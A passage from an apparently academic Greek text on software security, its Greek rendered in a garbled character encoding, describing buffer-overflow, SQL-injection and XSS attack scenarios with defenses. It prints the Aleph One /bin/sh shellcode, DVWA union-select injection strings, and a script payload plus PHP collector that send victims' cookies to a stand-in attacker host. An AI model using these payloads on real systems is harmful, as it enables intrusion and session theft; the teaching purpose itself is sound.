κνξθέο επηθύξσζεο ζηελ αλάπηπμε ηζηνζειίδσλ επηηξέπεη νξηζκέλα ζηνηρεία ηεο 

HTML, όπσο είλαη ην <em> θαη ην <strong>, θαη αιιά, όρη, όπσο είλαη ην <script> 

. Σε πεξίπησζε πνπ ε δνζείζεο είζνδνο πεξηέρεη κε επηηξεπηά ζηνηρεία, ηόηε 

ππάξρνπλ δύν ζρεδηαζηηθέο επηινγέο: 

 

1. Απόξξηςε εηζόδνπ 

2. Αθαίξεζε ησλ κε επηηξεπηώλ ζηνηρείσλ θαη δηαηήξεζε ησλ ππόινηπσλ 

δεδνκέλσλ ηεο εηζόδνπ σο έρεη 
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4 ΢ΔΝΑΡΙΑ ΔΠΙΘΔ΢ΔΩΝ 

4.1 ΢ΔΝΆΡΙΟ BUFFER OVERFLOW ΔΠΊΘΔ΢Η΢ 

 

#include <stdio.h> 

#include <string.h> 

 

int main(int argc, char *argv[])  

{ 

       char buffer[720]; 

       char *data = argv[1]; 

 

       memset(buffer, 0, 720); 

       memcpy(buffer, data, strlen(data)); 

 

       int sum = 0; 

       int i; 

       for(i=0; i<strlen(buffer); ++i)  

       { 

               sum+=buffer[i]; 

       } 

 

       return 0; 

} 

 

Έζησ πσο ν δηαρεηξηζηήο ελόο ηεξκαηηθνύ ζπζηήκαηνο πξνζθέξεη ην πξόγξακκα πνπ 
παξάγεηαη από ην παξαπάλσ αξρείν πξνο ρξήζε ζηνπο guest ρξήζηεο πνπ ζπλδένληαη 
απνκαθξπζκέλα ζην κεράλεκα απηό. Ο θώδηθαο ηνπ πξνγξάκκαηνο είλαη γξακκέλν ζε 
C θαη δηαβάδνληαο σο είζνδν έλα θείκελν ζε ASCII κνξθή, ππνινγίδεη ην άζξνηζκα ησλ 
ASCII θσδηθώλ ησλ ζπκβόισλ ηνπ κελύκαηνο.  
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4.1.1 Πιεσρά επηηηζέκελοσ 

 

Τν παξαπάλσ πξόγξακκα έρεη κηα bufferoverflow αδπλακία, θαζώο ν πίλαθαο πνπ 
απνζεθεύνληαη ηα δεδνκέλα είλαη ζηαηηθνύ κεγέζνπο ίζνπ κε 720 ραξαθηήξεο. 

Γηα ηελ εθκεηάιιεπζε ηεο παξαπάλσ αδπλακίαο, ν επηηηζέκελνο ζα εζηηάζεη ηελ 
πξνζνρή ηνπ ζηα εμήο ηξία ζεκεία: 

 

1. Δύξεζε ηνπ κεγέζνπο ηεο εηζόδνπ ηνπ νξίζκαηνο πνπ ζα πξέπεη λα δνζεί ζην 
πξόγξακκα, πξνθεηκέλνπ λα επηηεπρζεί ε αιινίσζε νιόθιεξνπ ηνπ 
πεξηερνκέλνπ ηεο returnaddress γηα πξώηε θνξά 

2. Παξαγσγή ηνπ θαθόβνπινπ θώδηθα πνπ ζα εθηειεζηεί ζηνλ ππνινγηζηή ηνπ 
ζύκαηνο 

3. Δύξεζε ηεο δηεύζπλζεο ηεο βάζεο ηνπ πίλαθα 

 

Αθνύ βξεζνύλ ηα παξαπάλσ, ην πιάλν ηνπ επηηηζέκελνπ ζα έρεηο σο εμήο. Αξρηθά ζα 
ηνπνζεηεζεί ν θαθόβνπινο θώδηθαο θάπνπ κεηαμύ ηεο βάζεο ηνπ πίλαθα θαη ηεο αξρήο 
ηεο returnaddress. Σηε ζπλέρεηα ζα πξέπεη λα γίλεη αιινίσζε ηεο returnaddress, ώζηε 
λα δείρλεη ζηνλ θαθόβνπιν θώδηθα. Με ηνλ ηξόπν απηό όηαλ ν επεμεξγαζηήο 
ρξεζηκνπνηήζεη ηε returnaddress γηα λα επηζηξέςεη ζηελ αξρηθή θαηάζηαζε, ζηελ νπζία 
ζα θαιέζεη ηνλ θαθόβνπιν θώδηθα. Σηε πεξίπησζε καο, ν θαθόβνπινο θώδηθαο ζα 
ζηνρεύεη ζηε δεκηνπξγία ελόο shell, ην νπνίν ζα δώζεη ηα δηθαηώκαηα ηνπ δεκηνπξγνύ 
ηνπ πξνγξάκκαηνο ζηνλ επηηηζέκελν, δεδνκέλνπ όηη ην SUID ηνπ executionmode ηνπ 
group ζα είλαη ελεξγνπνηεκέλν. 

Γηα ηελ επίηεπμε ηνπ πξώηνπ ζηόρνπ ζα γίλεη δνθηκή δηαθόξσλ εηζόδσλ δηαθνξεηηθνύ 
κεγέζνπο ν θαζέλαο, κε ζηόρν λα βξεζεί ην κέγεζνο ηεο εηζόδνπ γηα ην νπνίν ζα 
αιινησζεί γηα πξώηε θνξά νιόθιεξε ε returnaddress. Σε νπνηαδήπνηε πεξίπησζε, ζα 
γλσξίδνπκε κε ζηγνπξηά όηη ε returnaddress έρεη αιινησζεί όηαλ ην πξόγξακκα ζα ηξώεη 
segmentationfault, θαζώο ε returnaddress ζα έρεη αιινησζεί θαη ζα δείρλεη ζε κε έγθπξν 
ζεκείν ζηε κλήκε. Σε πεξίπησζε πνπ ππάξρεη ε δπλαηόηεηα ρξήζεο debugger, όπσο 
είλαη ν gdb, ε ηηκή ηνπ θαηαρσξεηή eip ζα δείρλεη ηε ηηκή ηεο returnaddress. Δπνκέλσο 
γηα ηε κηθξόηεξε δπλαηή είζνδν, γηα ηελ νπνία ζα γίλεη αιινίσζε ηεο ηηκήο ηνπ 
returnaddress, ζα απνηειεί ην δεηνύκελν κέγεζνο. Σε πεξίπησζε πνπ δελ ππάξρεη 
debugger, ην δεηνύκελν κέγεζνο ζα είλαη ίζν κε ην κηθξόηεξν κέγεζνο εηζόδνπ γηα ην 
νπνίν ζα ζθάεη segmentationfault ην πξόγξακκα θαη πηζαλόλ κεγαιύηεξν ην πνιύ ίζν 
κε ηνλ αξηζκό ησλ byte πνπ ρξεζηκνπνηεί ν επεμεξγαζηήο γηα λα αλαπαξαζηήζεη κηα 
ιέμε. 

Αθνύ βξεζεί ην κέγεζνο ηεο εηζόδνπ γηα ην νπνίν ζα γίλεη γηα πξώηε θνξά αιινίσζε 
ηεο returnaddress, ην επόκελν θνκκάηη ζα είλαη λα δεκηνπξγεζεί ν θαθόβνπινο θώδηθαο. 
Υπάξρνπλ αξθεηνί έηνηκνη θώδηθεο πνπ παξάγνπλ shell, ν κηθξόηεξνο από ηνπο νπνίνπο 
είλαη ην shellcode ηνπ AlephOne, ην κέγεζνο νπνίν ηνπ νπνίνπ είλαη 45 byte. Τν 
πξναλαθεξζέλ shellcode είλαη ην : 
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 \xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\
x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/
sh 

Ο ηειεπηαίνο ζηόρνο είλαη ε εύξεζε ηεο δηεύζπλζεο ηεο βάζεο ηνπ ζηαηηθνύ πίλαθα. Ο 
ππνινγηζκόο ηεο παξαπάλσ δηεύζπλζεο κπνξεί λα ππνινγηζηεί από ηελ αθαίξεζε ηεο 
δηαθνξάο κεηαμύ ηνπ πξώηνπbyte ηεο returnaddress από ηε βάζε ηνπ ζηαηηθνύ πίλαθα 
από ηε δηεύζπλζε ηεο returnaddress.  Η ηηκήο ηεο returnaddress ζα είλαη παξόκνηα κε 
ηελ αληίζηνηρε ηηκή ηνπ πξνγξάκκαηνο ―esp.c‖. O ιόγνο γηα ηνλ νπνίν νη παξαπάλσ δύν 
ηηκέο είλαη πεξίπνπ ίδηεο είλαη όηη θαη ζηα δύν πξνγξάκκαηα αλαδεηνύκε ηε ηηκή ηεο 
returnaddress ηεο main, ε νπνία είλαη ε πξώηε ζπλάξηεζε πνπ θαιείηαη θαη δεδνκέλνπ 
όηη δελ είλαη ελεξγνπνηεκέλε ε επηινγή ηνπ randomization, νη δύν returnaddress ζα είλαη 
παξαπιήζηεο.  

/*esp.c*/ 

#include <stdio.h> 

unsigned long get_sp(void) { 

  __asm__("movl %esp,%eax"); 

} 

void main() { 

       long x = (__asm__("movl %esp,%eax")); 

       printf("0x%x\n", x);  

} 

Αθνύ έρνπλ βξεζεί όια ηα παξαπάλσ, ν επηηηζέκελνο είλαη ζε ζέζε λα εθηειέζεη ηελ 
B.O. επίζεζε, κε ηε ρξήζε ηεο ηερληθήο πνπ πεξηγξάθεηε ζηε ζεσξία. Πην 
ζπγθεθξηκέλα, ζηελ απιή πεξίπησζε(ζην ζεσξεηηθό κέινο πεξηγξάθνληαη θαη 
νξηζκέλεο βειηηζηνπνηήζεηο), ζα ελζσκαηώζεη ηνλ θώδηθα πνπ παξάγεη ην shell ζηελ 
αξρή ηνπ ηεο εηζόδνπ πνπ ζα δνζεί ζην πξόγξακκα. Η ζπλνιηθή είζνδνο ηνπ 
πξνγξάκκαηνο ζα είλαη ηόζα byte, όζα ρξεηάδνληαη ώζηε λα αιινησζεί νιόθιεξε ε 
returnaddress γηα πξώηε θνξά, ην νπνίν έρεη ππνινγηζηεί πξνεγνπκέλσο. Γεδνκέλνπ 
όηη ηα πξώηα byte ηεο εηζόδνπ ζα είλαη ν πξναλαθεξζείο θώδηθα πνπ παξάγεη έλα 
θέιπθνο, ηα ππόινηπα byte(πιελ ησλ ηειεπηαίσλ 4 ή 8 byte) ζα γεκίζνπλ κε ηπραίεο 
ηηκέο. Σηελ πξάμε ρξεζηκνπνηνύληαη νη εληνιέο NOP(\x90), νη νπνίεο είλαη  νπδέηεξεο 
εληνιέο θαη πξνζπεξληνύληαη από ηνλ επεμεξγαζηή. Η ρξήζε ησλ εληνιώλ NOP 
βειηηώλεη ηηο πηζαλόηεηεο λα επηηεπρζεί κηα BO επίζεζε, όπσο πεξηγξάθεηαη αλαιπηηθά 
ζην ζεσξεηηθό θνκκάηη. Τα ηειεπηαία (ζπλήζσο 4 ή 8) byte, ν αξηζκόο ησλ νπνίσλ 
εμαξηάηαη από ηνλ αξηζκό ησλ byte πνπ ρξεζηκνπνηεί ν επεμεξγαζηήο γηα λα 
αλαπαξαζηήζεη έλα δείθηε, ζηελ νπζία ζα αληηθαηαζηαζνύλ κε ηε δηεύζπλζε βάζεο ηνπ 
ππεξρεηιηζκέλνπ πίλαθα,  ε νπνία έρεη πξνεγνπκέλσο ππνινγηζηεί. Τνπνζεηώληαο ηε 
δηεύζπλζε βάζεο ηνπ πίλαθα ζηα ηειεπηαία byte, ζηελ νπζία επηηπγράλεηαη ε αιινίσζε 
ηεο returnaddress ηεο ζπλάξηεζεο, ώζηε λα δείρλεη ζηε δηεύζπλζε βάζεο ηνπ 
ππεξρεηιηζκέλνπ πίλαθα. Δπνκέλσο όηαλ ηεξκαηίζεη ε θιεζέληα ζπλάξηεζε(πνπ ζηε 
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ζπγθεθξηκέλε πεξίπησζε είλαη ε main) ζα επηζηξέςεη ζηε ζέζε όπνπ δείρλεη ε 
returnaddress. Ψζηόζν ε returnaddressπιένλ δείρλεη ζηελ αξρή ηνπ ππεξρεηιηζκέλνπ 
πίλαθα, ζηνλ νπνίνλ είλαη ηνπνζεηεκέλν ην shellcode. Δπνκέλσο ν επεμεξγαζηήο ζα 
εθηειέζεη ην shellcode, ην νπνίν ζα παξάμεη έλα shell θαη ην νπνίν ζα έρεη ηα δηθαηώκαηα 
ηνπ δεκηνπξγνύ ηνπ πξνγξάκκαηνο. 

 

4.1.2 Άκσλα Λογηζκηθού 

 

Η άκπλα ελάληηα ζε επηζέζεηο B.O. κπνξεί λα γίλεη ηόζν από ηε πιεπξά ηνπ 
πξνγξακκαηηζηή ηνπ πξνγξάκκαηνο, όζν θαη από ηε πιεπξά ηεο παξακεηξνπνίεζεο 
ηνπ hardware ηνπ ππνινγηζηή. 

Αξρηθά ν πξνγξακκαηηζηήο ζα κπνξνύζε λα επηιέμεη κηα γιώζζα πξνγξακκαηηζκνύ 
πνπ ζα πξνζθέξεη έηνηκεο/εληζρπκέλεο πινπνηήζεηο πίλαθαο, όπσο είλαη ε Java θαη ε 
Python, αληί ηεο C. Σηηο πεξηπηώζεηο απηέο, ν compiler είλαη ππεύζπλνο γηα ηε δέζκεπζε 
ηνπ αλαγθαίνπ ρώξνπ κλήκεο θαη ζα εμαζθαιίδεη όηη ν επηηηζέκελνο δελ ζα θαηαθέξεη λα 
μεπεξάζεη ηα όξηα ηνπ δηαζέζηκνπ ρώξνπ(ζπλήζσο πξόθεηηαη γηα πινπνηήζεηο ζην heap, 
νη νπνίεο θάλνπλ εθ λένπ επηπξόζζεηε δέζκεπζε ρώξνπ, αλ απηό είλαη αλαγθαίν). Σε 
πεξίπησζε ρξήζεο κηαο κε αζθαιήο δνκήο απνζήθεπζεο δεδνκέλσλ, όπσο είλαη ν 
ζηαηηθόο πίλαθαο ζηε C, ν πξνγξακκαηηζηήο ζα πξέπεη λα θάλεη έιεγρν αλ ην κέγεζνο 
ησλ δεδνκέλσλ ηεο εηζόδνπ, δελ ζα μεπεξλάεη ην δηαζέζηκν κέγεζνο. Με ηε ρξήζε κηαο 
από ηηο παξαπάλσ δύν ηερληθέο, ην πξόγξακκα δελ ζα επηηξέπεη ζηα δεδνκέλα εηζόδνπ 
λα μεπεξάζνπλ ηα όξηα ηνπ πίλαθα θαη επνκέλσο δελ ζα είλαη εθηθηή ε αιινίσζε ηεο 
ηηκήο ηεο returnaddress. 

Όζνλ αθνξά ηε παξακεηξνπνίεζε ηνπ ινγηζκηθνύ, ν πξνγξακκαηηζηήο κπνξεί λα 
ρξεζηκνπνηήζεη πνιιέο κνξθέο άκπλαο. Αξρηθά, κέζσ ηνπ καξθαξίζκαηνο ηεο ζηνίβαο 
σο κε εθηειέζηκε, ζα έρεη σο απνηέιεζκα, αθόκε θαη αλ ε returnaddress αιινησζεί θαη 
δείρλεη ζην shellcode, ην shellcode, ην νπνίν ζα βξίζθεηαη κεηαμύ ηεο βάζεο ηνπ 
ζηαηηθνύ πίλαθα θαη ηεο returnaddress ζηε ζηνίβα, δελ ζα κπνξεί λα εθηειεζηεί, θαζώο 
ηα πεξηερόκελα ηεο ζηνίβαο είλαη κε εθηειέζηκα. Δπηπξόζζεηα, κπνξεί λα 
ρξεζηκνπνηεζεί ε ηαθηηθή ηεο ηπραηνπνίεζεο ηεο ζηνίβαο. Σην παξαπάλσ παξάδεηγκα, 
κέζσ ηεο εθηέιεζεο ηνπ θώδηθα esp.c, εληνπίζακε κηα θνληηλή δηεύζπλζε κλήκεο πξνο 
ηε βάζε ηνπ πίλαθα. Μέζσ ηεο ηπραηνπνίεζεο ηεο ζηνίβαο, επόκελε εθηέιεζε ηνπ 
πξνγξάκκαηνο ζα απνζεθεπηεί ζε δηαθνξεηηθή δηεύζπλζε κλήκεο κέζα ζηε ζηνίβα θαη 
επνκέλσο δελ ζα είλαη εθ ησλ πξνηέξσλ γλσζηή ε δηεύζπλζε βάζεο ηνπ πίλαθα, όηαλ 
ζα πξνζπαζήζνπκε λα επηηεζνύκε ζην ζύζηεκα. Τέινο ε ρξήζε canaries, αλάινγα κε 
ην είδνο ηνπ νπνίνπ είηε ζα απνηξαπεί ε αιινίσζε ηεο returnaddress είηε ζα 
γλσζηνπνηεζεί ζηνλ επεμεξγαζηή όηη ε returnaddress έρεη κε έγθπξε ηηκή θαη επνκέλσο 
ε εθηέιεζε ηνπ πξνγξάκκαηνο ζα πξέπεη λα ηεξκαηίζεη, δίρσο λα ρξεζηκνπνηήζεη ηε 
returnaddress.  
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4.2 SQL΢ΔΝΆΡΙΟ 
 
Γηα ηελ παξνπζίαζε ηνπ ζελαξίνπ ησλ επηζέζεσλ δειεηεξίαζεο ηνπ SQL θώδηθα, ζα 
γίλεη ρξήζε ηεο δηαδηθηπαθήο εθαξκνγήο DamnVulnerableWebApplication. Σηελ DVWA, 
ηόζν θώδηθαο ηεο εθαξκνγήο είλαη γξακκέλνο ζηε γιώζζα πξνγξακκαηηζκνύ PHP, ελώ 
ε βάζε δεδνκέλσλ είλαη MySQL. Τν ραξαθηεξηζηηθό απηήο ηεο εθαξκνγήο είλαη όηη είλαη 
επάισηε ζε δηάθνξεο είδνπο επηζέζεηο, ζπκπεξηιακβαλνκέλνπ θαη ηνπ SQLInjection. Τν 
DVWA έρεη 3 επίπεδα αζθάιεηαο: 
 

1. Φακειό επίπεδν αζθάιεηαο 

2. Μεζαίν επίπεδν αζθάιεηαο 

3. Υςειό επίπεδν αζθάιεηαο 

 

Σην ζελάξην πνπ πεξηγξάθεηαη ζηε ζπλέρεηα, ζα γίλνπλ επηζέζεηο θαη ζηα 3 
πξναλαθεξζέληα επίπεδα αζθάιεηαο θαη ζα ζρνιηαζηεί ν ηξόπνο κε ηνλ νπνίνλ ζα 
κπνξέζεη ν πξνγξακκαηηζηήο λα πξνζηαηεύζεη ηελ εθαξκνγή από ηηο εθάζηνηε 
επηζέζεηο. 

 

Γηα ην ρακειό επίπεδν αζθάιεηαο, ν θώδηθαο πνπ εθηειεί ε εθαξκνγή είλαη ν 
αθόινπζνο: 

 

$id = $_GET[‗id‘]; 

$getid = ―SELECT first_name, last_name FROM users WHERE user_id=‘$id‘‖; 

 

Ο παξαπάλσ θώδηθαο, αξρηθά δηαβάδεη αλαθηά ην id ηνπ ρξήζηε, κέζσ ηεο HTTPGET 
κεζόδνπ θαη ζηε ζπλέρεηα, κε βάζε ην id ηνπ ρξήζηε, αλαθηάηαη ην όλνκα θαη ην 
επώλπκν απηνύ.   

Σηνλ παξαπάλσ θώδηθα παξαηεξείηαη, όηη δελ γίλεηε θαλέλα είδνπο θηιηξάξηζκα ζην id 
ηνπ ρξήζηε πνπ δόζεθε σο είζνδνο. Απηό κπνξεί λα ην εθκεηαιιεπηεί ν θαθόβνπινο 
ρξήζηεο θαη λα δώζεη σο είζνδν αληί γηα έλαλ αθέξαην ζεηηθό αξηζκό, ηελ είζνδν   

 

3‘ and 1=0 union select user(), database() # 

 

Αλ δνζεί ε παξαπάλσ είζνδνο ζην πξόγξακκα, ηόηε ζηε βάζε ζα ζηαιζεί ην εξώηεκα 
―SELECT first_name, last_name FROM users WHERE id=‘3‘ and 1=0 union select 
user(),database() #‘ ζηνλ MySQL server γηα εθηέιεζε. 
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Τν απνηέιεζκα κεηά ηελ εθηέιεζε ηνπ εξσηήκαηνο ζα είλαη λα επηζηξαθεί ην username 
ηνπ δηαρεηξηζηή ηεο βάζεο θαη ην όλνκα ηεο βάζεο. Ο ιόγνο είλαη όηη εξώηεκα πνπ 
θαιείηαη λα εθηειέζεη ν εμππεξεηεηήο είλαη ην union ησλ εξσηεκάησλ 
―SELECTfirst_name, last_nameFROMusersWHEREid=‘3‘ and 1=0‖ θαη 
―selectuser(),database()‖. Ψζηόζν, ην πξώην εξώηεκα δελ ζα επηζηξέςεη θακία 
εγγξαθή, θαζώο ε ζπλζήθε ―1=0‖ δελ ζα ηζρύζεη πνηέ, νπόηε ζα επηζηξαθεί κόλν ην 
απνηέιεζκα ηνπ δεύηεξνπ εξσηήκαηνο. Τν δεύηεξν εξώηεκα ζα επηζηξέςεη κόλν κία 
εγγξαθή, ε νπνία ζα απνηειείηαη από δύν πεδία, όπνπ ην πξώην ζα είλαη ην username 
ηνπ admin ηεο ΒΓ θαη ην δεύηεξν ζα είλαη ην όλνκα ηνπ ζρήκαηνο ηεο ΒΓ ηεο εθαξκνγήο 

 

 

 

Γηα ηελ αληηκεηώπηζε ηεο παξαπάλσ αδπλακίαο, ν δεκηνπξγόο ηεο εθαξκνγήο ζα 
πξέπεη λα θξνληίδεη, ώζηε λα θηιηξάξνληαη ηα δεδνκέλα πνπ δίλνληαη από ηνλ ρξήζηε, 
κε ηέηνην ηξόπν, ώζηε λα απνθεπρζεί ε πξνζπάζεηα ηνπ θαθόβνπινπ ρξήζηε λα δώζεη 
ζηα δεδνκέλα εηζόδνπ εηδηθνύο ραξαθηήξεο, όπσο είλαη ηα quotes, κε ζηόρν ηελ 
αιινίσζε ηνπ SQL εξσηήκαηνο. Σην παξαπάλσ παξάδεηγκα, ν επηηηζέκελνο 
ρξεζηκνπνίεζε ηνλ εηδηθό ραξαθηήξαsinglequote κεηά ηνλ ραξαθηήξα 3, ώζηε λα 
αιινηώζεη ην εξώηεκα θαη αληί λα αλαδεηήζεη ηα ζηνηρεία ηνπ ρξήζηε κε βάζε ην 
δεδνκέλνπ πνπ εηζάρζεθα, λα αλαδεηήζεη ηα ζηνηρεία ηνπ ρξήζηε κε id=3. 

 

Τν κεζαίν επίπεδν αζθάιεηαο θξνληίζεη λα πξνζηαηεύζεη ηελ εθαξκνγή από ηελ 
πξναλαθεξζέληα αδπλακία, ρξεζηκνπνηώληαο ηνλ αθόινπζν θώδηθα: 

 

$id = $_GET[‗id‘]; 

$id = mysql_real_escape_string($id); 

$getid = ―SELECT first_name, last_name FROM users WHERE user_id=‘$id‘‖; 

 

Ο θώδηθαο απηόο πεξλάεη ην δεδνκέλν πνπ δόζεθε από ηνλ ρξήζηε, κέζσ ηεο 
ζπλάξηεζεο mysql_real_escape, ε νπνία θξνληίζεη λα βάιεη ηνλ εηδηθό ραξαθηήξα ―\‖ 
πξηλ από νπνηνδήπνηε εηδηθό ραξαθηήξα πνπ δόζεθε από ηνλ ρξήζηε, κε ζηόρν ν SQL 
εμππεξεηεηήο λα εξκελεύζεη ηα κνλά θαη ηα δηπιά εηζαγσγηθά θαη νξηζκέλα άιια εηδηθά 
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ζύκβνια σο ραξαθηήξεο θεηκέλνπ θαη όρη σο εηδηθνύο ραξαθηήξεο. Δπνκέλσο ηα 
εηζαγσγηθά ζα ζεσξεζνύλ σο ραξαθηήξεο θεηκέλνπ θαη όρη ζαλ εηδηθά ζύκβνια, ηα 
νπνία ελζπιαθώλνπλ κηα αθνινπζία από ραξαθηήξεο.  

 

Αλ ρξεζηκνπνηήζνπκε ηελ είζνδν πνπ δόζεθε ζην ρακειό επίπεδν αζθάιεηαο, ε 
επίζεζε ζα απνηύρεη, γηαηί ε δνζείζα είζνδνο ζα ηξνπνπνηεζεί ζην σο «3\‘ and 1=0 
unionselectuser(), database() #» θαη επνκέλσο δελ ζα επηηεπρζεί ε αιινίσζε ηεο δνκήο 
ηνπ SQL εξσηήκαηνο. 

 

Γηα ηελ αληηκεηώπηζε απηνύ ηνπ εκπνδίνπ, ζα ρξεζηκνπνηήζνπκε ηε δεθαεμαδηθή 
αλαπαξάζηαζε ησλ κνλώλ εηζαγσγηθώλ, ε νπνία είλαη ε ―0x27‖. Δπνκέλσο ε είζνδνο 
πνπ ζα δώζνπκε ζην ζύζηεκα είλαη ε εμήο: 

 

 3 0x27 and 1=0 union select user(), database() # 

 

Με ηνλ ηξόπν απηό ζα επηηεπρζεί ε αιινίσζε ηνπ εξσηήκαηνο, όπσο θαη ζην ρακειό 
επίπεδν αζθάιεηαο. 

 

Τέινο, ζην πςειό επίπεδν αζθάιεηαο, ν θώδηθαο ηεο εθαξκνγήο είλαη ν εμήο: 

 

$getid = ―SELECT first_name, last_name FROM users WHERE user_id=‘$id‘‖; 

$id = $_GET[‗id‘]; 

$id = mysql_real_escape_string($id); 

if(is_numeric($id)){ 

 $getid = ―SELECT first_name, last_name FROM users WHERE 
user_id=‘$id‘‖; 

} 

 

Η εθαξκνγή ζε απηή ηελ πεξίπησζε, πέξα από ηε ρξήζε ηεο ζπλάξηεζεο 
mysql_real_escape_string, ειέγρεη αλ ην όξηζκα πνπ δόζεθε σο είζνδνο είλαη αξηζκόο 
θαη όρη ζπκβνινζεηξά. Δπνκέλσο νπνηαδήπνηε είζνδνο θαη λα δώζνπκε ζην 
πξόγξακκα, ε νπνία ζα ζηνρεύεη ζηελ αιινίσζε ηνπ SQL εξσηήκαηνο ζα απνηύρεη, 
θαζόηη ην όξηζκα δελ ζα είλαη αξηζκόο θαη επνκέλσο ε εθαξκνγή ζα ηελ πξνζπεξάζεη. 
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4.3 XSS ΢ΔΝΑΡΙΟ 

 

Σην ζελάξην απηό ζα αλαπηπρζεί κηα non-persistent επίζεζε θαη ζα ρξεζηκνπνηεζεί ην 
παξάδεηγκα πνπ αλαθέξεηαη θαη ζην ζεσξεηηθό θνκκάηη. 

 

Αο ππνζέζνπκε όηη έλαο θαθόβνπινο ρξήζηεο έρεη ζηήζεη έλα δηθό ηνπ server, ε 
ηζηνζειίδα ηνπ νπνίνπ είλαη ε «http://attackerLink». Σηνλ server απηόλ ππάξρεη ην 
αξρείν stealCookies.php κε ην παξαθάησ πεξηερόκελν: 

 

<?php 

$cookie = $_GET[‘stolenCookie’]; 

$database = new Database(); 

$database->add($cookie); 

?> 

 

 

Βάζε ηνπ παξαπάλσ θώδηθα, ν εμππεξεηεηήο ζα δηαβάζεη ηελ ηηκή ηεο παξακέηξνπ 
―stolenCookie‖ από έλα HTTPGETrequest θαη ζηελ ζπλέρεηα ζα ηελ εηζάγεη ζηε βάζε 
δεδνκέλσλ. 

 

Αο ππνζέζνπκε επίζεο πσο ππάξρεη κηα κεραλή αλαδήηεζεο, ην link ηεο νπνίαο είλαη ην 
«http://website», θαη ζηελ νπνία ηξέρεη ην αξρείν ―search.php‖ κε ην παξαθάησ 
πεξηερόκελν: 

 

 

<?php 

$keyword = $_GET['keyword']; 

$search = new Search($keyword); 

echo "Result for keyword \"$keyword\" is: <br>"; 

echo $search->results(); 

?> 
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Ο θώδηθαο απηόο, αθνύ αλαθηήζεη ηα δεδνκέλα πνπ ζα αληηζηνηρνύλ ζην keyword πνπ 
έζηεηιε ν ρξήζηεο, ζα επηζηξέςεη ηόζν ην ίδην ην keyword, όζν θαη ηα απνηειέζκαηα 
πνπ αληηζηνηρνύλ ζε απηό. 

 

Τν κόλν πνπ απνκέλεη γηα ηελ επίηεπμε ηεο επίζεζεο είλαη ν επηηηζέκελνο λα ζηείιεη ην 
link 
―http://website/search.php?keyword=hi<script>window.location='http://attackerLink/steal
Cookies.php?stolenCookie='+document.cookie</script>‖ ζε αλππνςίαζηα ζύκαηα. 

 

 

Όηαλ ην αλππνςίαζην ζύκα παηήζεη ηνλ παξαπάλσ ζύλδεζκν ζα γίλνπλ νη αθόινπζεο 
ελέξγεηεο: 

 

1. Θα ζηαιζεί ην request ζηε κεραλή αλαδήηεζεο 

 

2. Η κεραλή αλαδήηεζεο ζα αλαθηήζεη ηα δεδνκέλα πνπ ζα αληηζηνηρνύλ ζην 
keyword 
―hi<script>window.location='http://attackerLink/stealCookies.php?stolenCookie='
+document.cookie</script>‖ 

 

3. Σηε ζπλέρεηα ζα παξάμεη ην κήλπκα απόθξηζεο ζην request ηνπ ρξήζηε, ζην 
νπνίν ζα πεξηιακβάλνληαη ηόζν ηνπο ζρεηηθνύο κε ην keyword ζπλδέζκνπο, όζν 
θαη ην keyword ην ίδην θαη ζα ην ζηείιεη ζην πίζσ ζην ζύκα. 

 

4. Ο θπιινκεηξεηήο ηνπ ζύκαηνο ζα επηρεηξήζεη λα εκθαλίζεη ηελ απάληεζε πνπ 
επέζηξεςε ε κεραλή αλαδήηεζεο. Ψζηόζν, θνκκάηη ηεο απάληεζεο απνηειεί ην 
keyword πνπ δόζεθε. Σηε ζπγθεθξηκέλε πεξίπησζε ην keyword είλαη έλαο 
javascript θώδηθαο, επνκέλσο ν browser ζα εθηειέζεη ηνλ θώδηθα. 

 

5. Η εθηέιεζε ηνπ javascript θώδηθα ζα έρεη σο απνηέιεζκα ηελ αλάθηεζε ησλ 
cookies ηνπ ζύκαηνο, ιόγσ ηεο εληνιήο ―document.cookie‖ θαη ηελ απνζηνιή 
απηώλ ζηελ ηζηνζειίδα 'http://attackerLink/stealCookies.php‘ ελζπιαθσκέλν ζηελ 
παξάκεηξν κε όλνκα ―stolenCookie‖ 

 

6. Όηαλ ην αίηεκα θηάζεη ζην site ηνπ θαθόβνπινπ ρξήζηε, ζα γίλεη αλάθηεζε ησλ 
cookie ηνπ ζύκαηνο θαη ζηε ζπλέρεηα ζα απνζεθεπηεί ζηε βάζε δεδνκέλσλ πνπ 
ππνζηεξίδεη ηελ εθαξκνγή ηνπ επηηηζέκελνπ. 
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Ο δεκηνπξγόο ηεο εθαξκνγήο, πνπ ζηε ζπγθεθξηκέλε πεξίπησζε είλαη ε κεραλή 
αλαδήηεζεο, πξνθεηκέλνπ λα πξνζηαηεύζεη ηελ εθαξκνγή από XSS επηζέζεηο, κπνξεί 
λα ρξεζηκνπνηήζεη ηελ ηερληθή ηεο θσδηθνπνίεζεο. Σην παξαπάλσ παξάδεηγκα, όηαλ ε 
κεραλή αλαδήηεζεο αλαθηήζεη ην keyword, ζα ην πεξάζεη από κηα ζπλάξηεζε, ε νπνία 
ζα θσδηθνπνηήζεη ηελ είζνδν, βάζε ησλ πξνηύπσλ πνπ νξίδνληαη γηα ηελ αζθάιεηα 
έλαληη ζε XSS επηζέζεηο. Δπνκέλσο, ην keyword πνπ δόζεθε ζηνλ ρξήζε ζα κεηαηξαπεί 
ζην αθόινπζν: 

 

Hi&lt;script&gt;window.location='http://attackerLink/stealCookies.php?stolenCook
e='+document.cookie&lt;/script&gt; 

 

Απηό ζα έρεη σο απνηέιεζκα, αθνύ αλαθηεζνύλ ηα δεδνκέλα πνπ ζα αληηζηνηρνύλ ζην 
παξαπάλσ keyword, ζα δεκηνπξγεζεί ην κήλπκα απόθξηζεο ζην αίηεκα ηνπ ρξήζηε, 
ζην νπνίν ζα ζπκπεξηιακβάλεηαη ην keyword ζηελ θσδηθνπνηεκέλε ηνπ κνξθή. 
Δπνκέλσο, όηαλ ν θπιινκεηξεηήο ηνπ ρξήζε επηρεηξήζεη λα εκθαλίζεη ηα 
απνηειέζκαηα πνπ ζα επηζηξέςεη ε κεραλή αλαδήηεζεο, ιόγσ ηεο θσδηθνπνίεζεο ηνπ 
keyword, ν browser δελ ζα αληηιεθζεί ην keyword σο javascript θώδηθα θαη επνκέλσο 
ζα απνθεπρζεί ε XSS επίζεζε.  

 

